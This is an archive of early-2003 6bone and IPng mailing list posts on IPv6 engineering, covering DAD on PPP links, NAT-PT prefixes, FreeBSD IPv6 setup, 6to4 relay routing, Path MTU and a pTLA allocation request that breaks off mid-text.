Date: Mon, 06 Jan 2003 18:42:55 +0000
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 06 Jan 2003 13:35:25 -0500")
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> Each ipv6-over-foo doc discusses modifications to ND,
> if necessary, for the particular link technology.  For
> example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
> that DAD is redundant and needn't be run.

my interpretation of IPv6 over PPP is different. DAD is redundant only
for the link-local address, but needs to be run for all other
addresses on the link.

/ot

> Fred L. Templin wrote:
>> Margaret/others,
>> Margaret Wasserman wrote:
>>
>>> DAD is a link-local mechanism (uses link-local multicast
>>> packets).  So, while it checks all addresses, it only
>>> explicitly checks for duplicate addresses on the local link.
>> What about DAD for links that are unicast-only? Alternatives
>> I can imagine are:
>>  1. specify some sort of unicast mechanism for DAD
>>  2. perform some sort of multicast emulation (e.g., MARS)
>>  3. avoid DAD alltogether when one can assume that addresses
>>     are uniquely assigned within the site
>> Thoughts?
>> Fred Templin
>> ftemplin@iprg.nokia.com
>> --------------------------------------------------------------------
>> IETF IPng Working Group Mailing List
>> IPng Home Page:                      http://playground.sun.com/ipng
>> FTP archive:                      ftp://playground.sun.com/pub/ipng
>> Direct all administrative requests to majordomo@sunroof.eng.sun.com
>> --------------------------------------------------------------------
>>
>
>
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------

From bkhabs@nc.rr.com Mon Jan  6 11:07:23 2003
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   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com> <3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com> <3E19D0ED.20602@iprg.nokia.com>
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Subject: [6bone] Re: DAD scope ??
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Fred L. Templin wrote:
> Brian Haberman wrote:
>  > Each ipv6-over-foo doc discusses modifications to ND,
>  > if necessary, for the particular link technology.
> 
> Can you point me to any text in the core architecture
> documents (e.g., RFCs 2461, 2462) that allow this and
> can be used as normative reference?

The 2nd paragraph of the intro in 2461 begins with:

    Unless specified otherwise (in a document that covers
    operating IP over a particular link type) this document
    applies to all link types.

So, it looks like the override is in the link-specific
document and not in the core architecture documents.

Brian



From bkhabs@nc.rr.com Mon Jan  6 11:17:48 2003
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   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
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Subject: [6bone] Re: DAD scope ??
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Ole Troan wrote:
>>Each ipv6-over-foo doc discusses modifications to ND,
>>if necessary, for the particular link technology.  For
>>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>>that DAD is redundant and needn't be run.
> 
> 
> my interpretation of IPv6 over PPP is different. DAD is redundant only
> for the link-local address, but needs to be run for all other
> addresses on the link.

The last sentence of the 2nd paragraph in Section 5 states:

      "Therefore it is recommended that for PPP links with
       the IPV6CP Interface-Token option enabled the default
       value of the DupAddrDetectTransmits autoconfiguration
       variable [3] be zero."

If DupAddrDetectTransmits is set to zero, then DAD is not run
on the interface since it is an interface variable.  The only
thing that implies that this only is for link-local addresses
is the title of the section.

Brian


From sivav@qualcomm.com Mon Jan  6 13:21:36 2003
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To: Brian Haberman <bkhabs@nc.rr.com>
From: Siva Veerepalli <sivav@qualcomm.com>
Subject: Re: [6bone] Re: DAD scope ??
Cc: "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
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 <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
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True, that is recommended as the default value. However, if a PPP link is 
to support the privacy extensions RFC3041, wouldn't the node have to 
perform DAD when generating an address using an interface ID different from 
the one negotiated during IPv6CP? Of course, if one node on the PPP link 
does not support RFC3046 (i.e., does not generate additional interface 
IDs), then DAD could still be avoided.

Regards,
Siva

At 01:35 PM 1/6/2003 -0500, Brian Haberman wrote:
>Each ipv6-over-foo doc discusses modifications to ND,
>if necessary, for the particular link technology.  For
>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>that DAD is redundant and needn't be run.
>
>Regards,
>Brian
>
>Fred L. Templin wrote:
>>Margaret/others,
>>Margaret Wasserman wrote:
>>
>>>DAD is a link-local mechanism (uses link-local multicast
>>>packets).  So, while it checks all addresses, it only
>>>explicitly checks for duplicate addresses on the local link.
>>
>>What about DAD for links that are unicast-only? Alternatives
>>I can imagine are:
>>  1. specify some sort of unicast mechanism for DAD
>>  2. perform some sort of multicast emulation (e.g., MARS)
>>  3. avoid DAD alltogether when one can assume that addresses
>>     are uniquely assigned within the site
>>Thoughts?
>>Fred Templin
>>ftemplin@iprg.nokia.com
>>
>>--------------------------------------------------------------------
>>IETF IPng Working Group Mailing List
>>IPng Home Page:                      http://playground.sun.com/ipng
>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>--------------------------------------------------------------------
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From ot@cisco.com Mon Jan  6 13:35:11 2003
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   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
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From: Ole Troan <ot@cisco.com>
Date: Mon, 06 Jan 2003 21:33:35 +0000
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 06 Jan 2003 14:17:36 -0500")
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Subject: [6bone] Re: DAD scope ??
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>>>Each ipv6-over-foo doc discusses modifications to ND,
>>>if necessary, for the particular link technology.  For
>>>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>>>that DAD is redundant and needn't be run.
>> my interpretation of IPv6 over PPP is different. DAD is redundant
>> only
>> for the link-local address, but needs to be run for all other
>> addresses on the link.
>
> The last sentence of the 2nd paragraph in Section 5 states:
>
>       "Therefore it is recommended that for PPP links with
>        the IPV6CP Interface-Token option enabled the default
>        value of the DupAddrDetectTransmits autoconfiguration
>        variable [3] be zero."
>
> If DupAddrDetectTransmits is set to zero, then DAD is not run
> on the interface since it is an interface variable.  The only
> thing that implies that this only is for link-local addresses
> is the title of the section.

agree the text needs to be clarified. it is as necessary to do DAD for
all addresses (apart from the link-local) on PPP links as it is for
Ethernet links.

btw: since you are using the term "Interface-Token" are you referring
to the old PPP RFC, and not RFC2472?

/ot

From tvo@EnterZone.Net Mon Jan  6 15:28:15 2003
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From: John Fraizer <tvo@EnterZone.Net>
To: Ole Troan <ot@cisco.com>
cc: Brian Haberman <bkhabs@nc.rr.com>,
   "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
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Subject: Re: [6bone] Re: DAD scope ??
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On Mon, 6 Jan 2003, Ole Troan wrote:

> > Each ipv6-over-foo doc discusses modifications to ND,
> > if necessary, for the particular link technology.  For
> > example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
> > that DAD is redundant and needn't be run.
> 
> my interpretation of IPv6 over PPP is different. DAD is redundant only
> for the link-local address, but needs to be run for all other
> addresses on the link.
> 
> /ot

Um, PPP stands for Point-to-point-Protocol.  So, tell me... Which other
addresses ARE there going to be on the link?


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From keshavaak@huawei.com Mon Jan  6 18:35:53 2003
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Date: Tue, 07 Jan 2003 10:34:04 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
In-reply-to: <001801c2b5ee$52f2c140$b7cbdba8@daniel7209>
To: "'Soohong Daniel Park'" <soohong.park@samsung.com>
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   Keshava  <keshavaak@huawei.com>
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Subject: [6bone] RE: NATPT prefix ...
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Hi Daniel,
	
	Of course NAT-PT router can advertise the prefix in RA.
	
	But there is no such option in RA, so that NAT-PT router can say
if you 
	want go across V4 (V6) cloud please use this prefix ? 


keshava
	

-----Original Message-----
From: Soohong Daniel Park [mailto:soohong.park@samsung.com] 
Sent: Tuesday, January 07, 2003 9:45 AM
To: 'Keshava Ayanur'; 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Subject: RE: NATPT prefix ...




-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Keshava Ayanur
Sent: Monday, January 06, 2003 8:06 PM
To: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Cc: keshav
Subject: NATPT prefix ...


I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

should be received from RA, if not, addresses should be configured by
manually configuration.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

general RA processing


-Daniel
	
Regards,
keshava

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From arnouten@bzzt.net Mon Jan  6 20:14:28 2003
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From: Arnout Engelen <arnouten@bzzt.net>
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Subject: Re: [6bone] NATPT prefix ...
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On Mon, Jan 06, 2003 at 07:06:26PM +0800, Keshava Ayanur wrote:
> I have question about NAT-PT (RFC 2766).
> 
> How does the hosts, routers in the IPV6 domain knows about the 
> NATPT  prefix that they should use when sending V6 packets to V4
> network.
> 
> NAT-PT router which resides in the border between V6 & V4 cloud
> should advertise this prefix. How ? 

I think one part of what you're looking for is something like TOTd.                                   
                                                                                                      
see http://www.vermicelli.pasta.cs.uit.no/ipv6/software.html

In short, it acts as some kind of dns proxy: for example if you use totd                              
to resolve 'www.google.com', it will notice there is no AAAA-record for                               
that name and produces the NAT-PT-prefixed version of the A-record as                                 
AAAA-record.                                                                                          
                                                                                                      
As for the routers, I think you could use pTRTd, which implements TRT                                 
instead of NAT-PT, but my memory is rusty as to what the difference was                               
again :) - anyway RFC's are 3142 and 2766, respectively.                                              
                                                                                                      
--                                                                                                    
Arnout Engelen <arnouten@bzzt.net>                                                                    
                                                                                                      
  "If it sounds good, it /is/ good."                                                                  
          -- Duke Ellington                                                                           

From ot@cisco.com Tue Jan  7 01:53:14 2003
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Subject: Re: [6bone] Re: DAD scope ??
From: Ole Troan <ot@cisco.com>
Date: Tue, 07 Jan 2003 09:48:39 +0000
In-Reply-To: <Pine.LNX.4.21.0301061824530.25145-100000@Overkill.EnterZone.Net> (John
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>> > Each ipv6-over-foo doc discusses modifications to ND,
>> > if necessary, for the particular link technology.  For
>> > example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>> > that DAD is redundant and needn't be run.
>> 
>> my interpretation of IPv6 over PPP is different. DAD is redundant only
>> for the link-local address, but needs to be run for all other
>> addresses on the link.
>> 
>> /ot
>
> Um, PPP stands for Point-to-point-Protocol.  So, tell me... Which other
> addresses ARE there going to be on the link?

not sure I understand the question. a point to point link has two
nodes connected. each node can have, at least in principle, as many
addresses configured as it wants, including RFC3041 and manually
configured.

/ot

From johann@broadpark.no Tue Jan  7 02:59:47 2003
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Date: Tue, 7 Jan 2003 11:59:36 +0100
From: "Janine C.Buorditez" <johann@broadpark.no>
To: Andreas Ott <andreas@naund.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 configuration in FreeBSD
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Hi!

Actually, I do need further help.

This is my network:

cisco adsl-modem   < ninja (lnc0) < ninja (ep0)   < aegis (rl0)
10.0.0.1           < 10.0.0.2     < 192.168.187.1 < 192.168.187.2

After I started assigning IPv6 addresses to lnc0, ep0 and rl0 my
network has been a complete mess.

I couldn't connect to anything inside or outside my network.
Lots of files seems to have disappeared which is why I'm doing
a rebuild;

/usr/libexec/ld-elf.so.1: Shared object "libgmodule12.so.3" not found

Not sure if this has anything to do with my failure of setup though.
I have to admit, I wasn't myself when I made these errors. I've never
been so wasted before in my entire life.

What I'm wondering, in my case, 3ffe:4008:1b::1200 -- is that lnc0
or ep0, considering lnc0 *has* to be 10.0.0.2 for my NAT'ed ADSL
router to pick it up? And if I assign something to ep0, do I assign
the same thing to rl0, or is this all done automatically? Cause
I'd like ::1200 for my server and ::1210 for my workstation.
(kinda like the Technics 1200 turntables)

Well, thanks.

On Fri, 3 Jan 2003 16:31:14 -0800
Andreas Ott <andreas@naund.org> wrote:

> Hi,
> On Fri, Jan 03, 2003 at 07:43:57PM +0100, Janine C.Buorditez wrote:
> > 
> > Hello.
> > 
> > I was just wondering whether someone could take a look at my config files
> > available at http://www.terrabionic.com/ipv6 and tell me where I lost track.
> > 
> > When I connect to IRC f:ex, the end prefix ::1200 (as in my configuration
> hrm, I'm not sure what the nature of your problem is.
> 
> > files) doesn't exist. Also, the reverse doesn't work.
> 
> Have you checked the syslog files for messages of the named startup?
> Usually bind9 is pretty good about telling you which line of which config
> file has a syntax error or other inconsistencies.
> 
> e.g.
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: In 'myfile.conf' line 10
> Aug 15 01:12:03 XYZABC.net named[23610]: included from '/etc/namedb/named.conf
> ' line 113
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: included
>  from '/etc/namedb/named.conf' line 113
> Aug 15 01:12:03 XYZABC.net named[23610]: myfile.conf:10: unknown ACL 'standard'
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: myfile.conf:10: unknown ACL 'standard'
> 
> Stop the named and restart it (no reload for debugging), and watch that
> it loads the zone according to messages in 
> 
> next, try to fix this...
> 
> 1200.0.0.0.0.0.0.0.0.0.0.0	IN PTR	ninja6.terrabionic.com.
> 
> into
> 0.0.2.1.0.0.0.0.0.0.0.0.0.0.0	IN PTR .............
> 
> all bits are reversed :). And make sure that you have 32 nibbles (add up
> the specific ones plus the $ORIGIN)
> 
> Let me know if you need further help.
> -andreas
> -- 
> Andreas Ott                            andreas@naund.org

From johann@broadpark.no Tue Jan  7 03:07:04 2003
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From: "Janine C.Buorditez" <johann@broadpark.no>
To: Andreas Ott <andreas@naund.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 configuration in FreeBSD
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(follow-up from previous mail)

Hello again.

Are these settings in rc.conf correct?

# IPv4 NETWORK CONFIGURATION
#
defaultrouter="10.0.0.1"
hostname="ninja.terrabionic.com"
ifconfig_lnc0="10.0.0.2"
ifconfig_ep0="192.168.187.1"

There should be no ifconfig_lnc0="inet6 3ffe..?

# IPv6 NETWORK CONFIGURATION
#
ipv6_enable="NO"
ipv6_gateway_enable="YES"
ipv6_firewall_enable="YES"
ipv6_firewall_type="open"
ipv6_static_routes="default"
ipv6_route_default="default -interface gif0"
ipv6_network_interfaces="auto"
ipv6_prefix_lnc0="3ffe:4008:1b::1200"
gif_interfaces="gif0"               
gifconfig_gif0="192.168.187.1 192.16.124.2"
rtadvd_enable="YES"                 
rtadvd_interfaces="ep0"

Here is rtadvd.conf:

ep0:\
   :addrs#1:\
   :addr="3ffe:4008:1b::1210":prefixlen#128:tc=ether:

If anything is wrong or unnecessary, please let me know.

On Fri, 3 Jan 2003 16:31:14 -0800
Andreas Ott <andreas@naund.org> wrote:

> Hi,
> On Fri, Jan 03, 2003 at 07:43:57PM +0100, Janine C.Buorditez wrote:
> > 
> > Hello.
> > 
> > I was just wondering whether someone could take a look at my config files
> > available at http://www.terrabionic.com/ipv6 and tell me where I lost track.
> > 
> > When I connect to IRC f:ex, the end prefix ::1200 (as in my configuration
> hrm, I'm not sure what the nature of your problem is.
> 
> > files) doesn't exist. Also, the reverse doesn't work.
> 
> Have you checked the syslog files for messages of the named startup?
> Usually bind9 is pretty good about telling you which line of which config
> file has a syntax error or other inconsistencies.
> 
> e.g.
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: In 'myfile.conf' line 10
> Aug 15 01:12:03 XYZABC.net named[23610]: included from '/etc/namedb/named.conf
> ' line 113
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: included
>  from '/etc/namedb/named.conf' line 113
> Aug 15 01:12:03 XYZABC.net named[23610]: myfile.conf:10: unknown ACL 'standard'
> Aug 15 01:12:03 XYZABC.net /kernel: Aug 15 01:12:03 host1 named[23610]: myfile.conf:10: unknown ACL 'standard'
> 
> Stop the named and restart it (no reload for debugging), and watch that
> it loads the zone according to messages in 
> 
> next, try to fix this...
> 
> 1200.0.0.0.0.0.0.0.0.0.0.0	IN PTR	ninja6.terrabionic.com.
> 
> into
> 0.0.2.1.0.0.0.0.0.0.0.0.0.0.0	IN PTR .............
> 
> all bits are reversed :). And make sure that you have 32 nibbles (add up
> the specific ones plus the $ORIGIN)
> 
> Let me know if you need further help.
> -andreas
> -- 
> Andreas Ott                            andreas@naund.org

From dillema@pasta.cs.uit.no Tue Jan  7 03:17:53 2003
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Date: Tue, 7 Jan 2003 12:12:34 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Keshava Ayanur <keshavaak@huawei.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] RE: NATPT prefix ...
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On Tue, Jan 07, 2003 at 10:34:04AM +0800, Keshava Ayanur wrote:
> Hi Daniel,
> 	
> 	Of course NAT-PT router can advertise the prefix in RA.
> 	
> 	But there is no such option in RA, so that NAT-PT router can say
> if you 
> 	want go across V4 (V6) cloud please use this prefix ? 

A DNS-ALG will take care of that, returning 'fake' IPv6 addresses with
the prefix when hosts try to resolve names of IPv4-only hosts.

Feico.

From dan@reeder.name Tue Jan  7 03:58:46 2003
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From: "Dan Reeder" <dan@reeder.name>
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Subject: [6bone] trace to 192.88.99.1; .au v6 connectivity
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Hi people,
Unless I am under the wrong impression completely, it is my understanding
that 192.88.99.1 is the special 'anycast' address used for finding the
nearest 2002:: 6to4 routing gateway.

I've been doing some traces from various hosts here in .au and they all
either end up at a host in Swizerland or a host in Finland. The thing is,
I'm rather skeptical of the fact that these servers are the 'nearest' to
Australia, BGP-speaking or otherwise.

Any assistance you good folks could lend me in relation to this issue would
be a great help. Is 6to4 connectivity even desired these days?

Secondly, and primarily addressed to Aussies/Kiwis/Asians, I've also got a
question with regards to the general IPv6 scene in Australia / Oceania at
the moment. As far as I am aware there are zero tunnel brokers in this
region, let alone commercial entities actively offering and promoting
customer v6 connectivity, although personally I probably couldn't afford a
netblock were it offered for a fee.
I mean, as I see it the nearest quality tunnel broker (in terms of latency)
to me (Brisbane) is he.net's pop at Los Angeles!
I'm aware that Aarnet is on it's way to developing a rather decent
educationally-inclined ipv6 facility, and I can only hope they will open up
a public tunnel brokering service, however apart from them there seems to be
nobody here operating a relatively-domestic network yet, letalone an
organisation with decent trans-pacific connectivity.

So, how long do us aussies/oceanians have to put up with ordinarily 200ms+
first hops?

cheers and regards,
Dan Reeder
2001:470:1f00:510::/64
ircgate.org


From keshavaak@huawei.com Tue Jan  7 04:11:27 2003
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Date: Tue, 07 Jan 2003 20:10:27 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
To: 6bone@mailman.isi.edu
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Subject: [6bone] Path-mtu ..
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Hi,
	I have a question about PATH-MTU .

	Should the IP stack inform the application about the change in
path-MTU .
	Else how does the application running on UDP will know about
change in the 
	size ? 
	Or is it up to the application running on UDP to care by some 
	reliable mechanism ? 

Regards,
keshava


From pim@ipng.nl Tue Jan  7 06:23:27 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Dan Reeder <dan@reeder.name>
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Subject: Re: [6bone] trace to 192.88.99.1; .au v6 connectivity
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Hoi Dan,

| Unless I am under the wrong impression completely, it is my understanding
| that 192.88.99.1 is the special 'anycast' address used for finding the
| nearest 2002:: 6to4 routing gateway.
Correct.
 
| I've been doing some traces from various hosts here in .au and they all
| either end up at a host in Swizerland or a host in Finland. The thing is,
| I'm rather skeptical of the fact that these servers are the 'nearest' to
| Australia, BGP-speaking or otherwise.
There's not that many of these anycast advertisers around these days.
I actually only have two of them in my tables:
* 192.88.99.0/24  O 150          0            >213.136.31.6
                  B 170        100            >217.71.99.37    13237 8379 I
                  B 170        100       2066 >213.136.31.2    6461 8379 I
                  B 170        100       2066 >213.136.31.2    6461 8379 I
                  B 170        100          0 >212.72.45.29    3356 2603 1741 I

The first one is my own relay (which I do not yet advertise to BGP, only in
OSPF for my own customers), the next three are Cybernet AG (Germany) and
the last one is the Funet REN (Finland).

A traceroute from my site (not regarding OSPF) would end up in Germany.
A traceroute from another site I maintain (AS8954) ends up in Finland.
 
| Any assistance you good folks could lend me in relation to this issue would
| be a great help. Is 6to4 connectivity even desired these days?
I don't know. I would be willing to advertise my own implementation of the
anycast at the AMS-IX, but I'm not sure that there's much use of 6to4 relaying
these days. Perhaps this will pick up when Windows .NET starts massively
making use of 6to4.

Are there any other people here that would like to have my advertising the
prefix at AMS-IX ?
 
regards,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From wildfire@progsoc.uts.edu.au Tue Jan  7 06:54:22 2003
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Subject: Re: [6bone] trace to 192.88.99.1; .au v6 connectivity
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On Tue, Jan 07, 2003 at 09:58:38PM +1000, Dan Reeder wrote:
> Hi people,
> Unless I am under the wrong impression completely, it is my understanding
> that 192.88.99.1 is the special 'anycast' address used for finding the
> nearest 2002:: 6to4 routing gateway.
> 
> I've been doing some traces from various hosts here in .au and they all
> either end up at a host in Swizerland or a host in Finland. The thing is,
> I'm rather skeptical of the fact that these servers are the 'nearest' to
> Australia, BGP-speaking or otherwise.

Well, Optus's looking glass <URL: http://looking-glass.optus.net.au/>
(see also <URL: http://www.traceroute.org/>), reports that it knows no
routes towards 192.88.99.1 from it's domestic peers, only from it's
international peers.

As far as I recall, AARNet used to advertise that prefix but has not for
a long time. 

> Any assistance you good folks could lend me in relation to this issue would
> be a great help. Is 6to4 connectivity even desired these days?
> 
> Secondly, and primarily addressed to Aussies/Kiwis/Asians, I've also got a
> question with regards to the general IPv6 scene in Australia / Oceania at
> the moment. As far as I am aware there are zero tunnel brokers in this
> region, 

Well, I've been operating one at ProgSoc for the past couple of months.
I had hoped to complete the web interface to my tunnel broking setup but
I've been ADSL issues since Monday.

If you email me off-list I can setup something in advance of the web
interface being available -- the tunnel endpoint is 138.25.6.14, so you
may to check the latency that has to you.

> let alone commercial entities actively offering and promoting
> customer v6 connectivity, 

NTT Australia was/is running a trial; I'm not sure when they intend to
make it available as a standard service. Telstra has had an allocation
for a year but the noise near the watercooler is that they aren't happy
with the implementation their current router vendor provides.

> I mean, as I see it the nearest quality tunnel broker (in terms of latency)
> to me (Brisbane) is he.net's pop at Los Angeles!

sutekh.progsoc.uts.edu.au (138.25.6.14) should be a lot better, I hope
to announce something later this week -- time permitting.

Regards,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From bob@thefinks.com Tue Jan  7 07:04:33 2003
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From: Bob Fink <bob@thefinks.com>
Cc: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
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Subject: [6bone] pTLA request LOXINFO-TH - review closes 21 January 2003
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6bone Folk,

LOXINFO-TH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 21 
January 2003. Please send your comments to me or the list.

<www.ipv6.loxinfo.co.th>


Thanks,

Bob

===
>Date: Mon, 06 Jan 2003 20:56:34 +0700
>To: fink@es.net
>From: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>
>Subject: pTLA prefix requests
>
>Hello Bob,
>
>
>This is a pTLA prefix request from Loxinfo ISP (Thailand), please find 
>relevant info below.
>
>Note. Please review and notify us <ipv6@loxinfo.co.th> for any update.
>
>Thank you.
>Loxinfo, Thailand.
>
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>=======================================================================
>- We have been connected to the 6Bone since April 2002 as a 6Bone end-site
>=======================================================================
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>=======================================================================
>ipv6-site:    LOXINFO-TH
>origin:       AS4750
>descr:        Loxley Information Services Co., Ltd. Thailand.
>country:      TH
>application:  ping ipv6-gw.ipv6.loxinfo.net.th
>tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> gateway.manis.net.my 
>MIMOS-MY BGP4+
>tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
>ipv6-gw.ipv6.chttl.com.tw CHTTL-TW BGP4+
>tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
>parcr1.fr.ndsoftwarenet.net NDSOFTWARE-FR BGP4+
>tunnel:       IPv6 in IPv4 ipv6-gw.loxinfo.net.th -> 
>ipv6-gw-1.btn.kewlio.net KEWLIO-GB BGP4+
>contact:      KI3-6BONE
>remarks:      Operational since April 2002.
>notify:       ipv6@loxinfo.co.th
>mnt-by:       MNT-LOXINFO
>changed:      ipv6@loxinfo.co.th 20020607
>changed:      ipv6@loxinfo.co.th 20020610
>changed:      ipv6@loxinfo.co.th 20020702
>changed:      ipv6@loxinfo.co.th 20021205
>changed:      ipv6@loxinfo.co.th 20021206
>changed:      ipv6@loxinfo.co.th 20021209
>changed:      ipv6@loxinfo.co.th 20021209
>changed:      ipv6@loxinfo.co.th 20021210
>source:       6BONE
>=======================================================================
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>=======================================================================
>Our BGP4+ conections are working on a cisco router, currently peers with
>MIMOS-MY, CHTTL-TW, NDSOFTWARE-FR and KEWLIO-GB.
>
>sh ipv6 interface b
>Tunnel1                    [up/up]    --> MIMOS-MY
>     FE80::CB92:3BE2
>     3FFE:80D0:FFFC:10::37
>Tunnel2                    [up/up]    --> CHTTL-TW
>     FE80::CB92:3BE2
>     3FFE:3600::1:39
>Tunnel3                    [up/up]    --> NDSOFTWARE-FR
>     FE80::CB92:3BE2
>     3FFE:4013:F:6::2
>Tunnel4                    [up/up]    --> KEWLIO-GB
>     FE80::CB92:3BE2
>     3FFE:4005:E000:2::1
>
>sh bgp ipv6 s
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
>Up/Down  State/PfxRcd
>3FFE:3600::1:38 4 17715    2482    1750     1663    0    0 1d05h         333
>3FFE:4005:E000:2::
>                 4 25396    4761    1750     1663    0    0 1d05h         319
>3FFE:4013:F:6::1
>                 4 25358       0       0        0    0    0 never    Active
>3FFE:80D0:FFFC:10::36
>                 4  2042    2593    1750     1663    0    0 1d05h         327
>=======================================================================
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>=======================================================================
>we have configured IPv6 DNS on our main operational DNS server:
>203.146.6.50 (ns1.ipv6.loxinfo.net.th)
>
>gw      7200    IN      AAAA    3FFE:80D0:FE10:0:200:CFF:FE75:9926
>ns1     7200    IN      AAAA    3ffe:80d0:fe10:0:2c0:4fff:fecf:8573
>
>$ORIGIN 0.0.0.0.0.1.e.f.0.d.0.8.e.f.f.3.ip6.int.
>6.2.9.9.5.7.E.F.F.F.C.0.0.0.2.0 
>14400   IN      PTR     gw.ipv6.loxinfo.net.th.
>3.7.5.8.F.C.E.F.F.F.F.4.0.C.2.0 
>14400   IN      PTR     ns1.ipv6.loxinfo.co.th.
>=======================================================================
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>=======================================================================
>Our IPv6 pingable WWW server is www.ipv6.loxinfo.co.th, and it's 
>accessible by both
>IPv6 and IPv4.
>=======================================================================
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>=======================================================================
>3 persons:
>person:  KI3-6bone, Kiat Intarasuriyawong (kiat@loxinfo.co.th)
>person:  KN4-6bone, Kittipong Nualnarunart (fender@loxinfo.co.th)
>person:  Wanida Kongtanarit (wanidat@loxinfo.co.th)
>=======================================================================
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>=======================================================================
>notify:  ipv6@loxinfo.co.th
>=======================================================================
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>=======================================================================
>LoxInfo is one of the leading ISPs in Thailand, and vigorously expanded
>our network and infrastructure in a drive to provide customers with the 
>most efficient
>and cost-effective Internet connections available. There are over 500 access
>networks and 100,000 end-users distributed in our country. The web page is
>http://www.loxinfo.co.th/
>For the 6bone pTLA, we have plan of testbed within our network and our 
>subscribers.
>This is free services.  We welcome whoever want to connect us with 6BONE 
>prefix.
>We also plan to request IPv6 address space from APNIC and then we will
>provide the IPv6 commercial services in the future.
>=======================================================================
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>=======================================================================
>We agree to all current and future operational rules and policies.
>=======================================================================
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
